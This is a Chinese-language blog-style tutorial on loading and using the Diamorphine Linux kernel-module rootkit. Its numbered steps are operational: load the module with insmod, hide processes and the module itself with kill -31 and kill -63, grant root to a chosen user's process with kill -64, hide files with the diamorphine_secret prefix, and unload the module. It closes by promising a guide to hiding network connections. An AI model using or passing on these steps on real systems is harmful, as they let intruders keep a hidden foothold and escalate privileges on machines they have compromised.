rootkit LKM之 “Diamorphine”

序:这个标题但愿不会被天朝给Kill掉—- 善哉。

 

一:基础姿势了解一下

好久没认真写点东西了,来讲一讲rootkit中最受欢迎的一种LKM(loadable Kernel module  能加载的内核模块),说白了,就是编译一个模块,然后用命令insmod 将指定的模块加载到内核中,Linux有些功能是以模块的方式存在的,在需要使用时才载入kernel的。好处是kernel轻装上阵,即需要什么拿什么。这类模块一般都是设备驱动程序。

二:“Diamorphine”使用

Diamorphine是Linux Kernels 2.6.x / 3.x / 4.x的可加载模块。

下面测试基于4.4-kernel的ubuntu

Diamorphine git地址 —-传送门

git下来后make

使用说明:

1.make安装完之后加载模块,还必须以root权限运行。

insmod diamorphine.ko

2.隐藏进程

kill -31 pid号

这里我们测试隐藏/显示 screen 进程

隐藏前⬇

隐藏后⬇

再次执行 kill -31 进程pid 即可恢复显示。

3.隐藏模块

kill -63 pid号      #如果分不清模块还是进程,lsmod 一下,你可以看到所有模块名称

再次执行kill -63 pid号即可恢复显示模块

4.指定某用户进程,使某用户变成root

kill -64 某用户的pid进程号     #不可逆,重启或者注销该用户

5.diamorphine 这个模块通过insmod安装后,系统启动时候是不会显示的,如果需要显示,需要执行

kill -63 0               #如果不执行kill -63 0,执行lsmod是查看不到有这个模块的,执行后再执行lsmod | grep diamorphine 即可看到这个模块。

6.创建隐藏文件,ls,du都找不到

touch diamorphine_secret         #只要是diamorphine_secret开头的文件名或者文件夹,就会隐藏。

7.卸载diamorphine模块,需要root权限

rmmod diamorphine

8.Done 下次写一个关于隐藏UDP,TCP通讯。即netstat -lanputo 让其看不到通讯。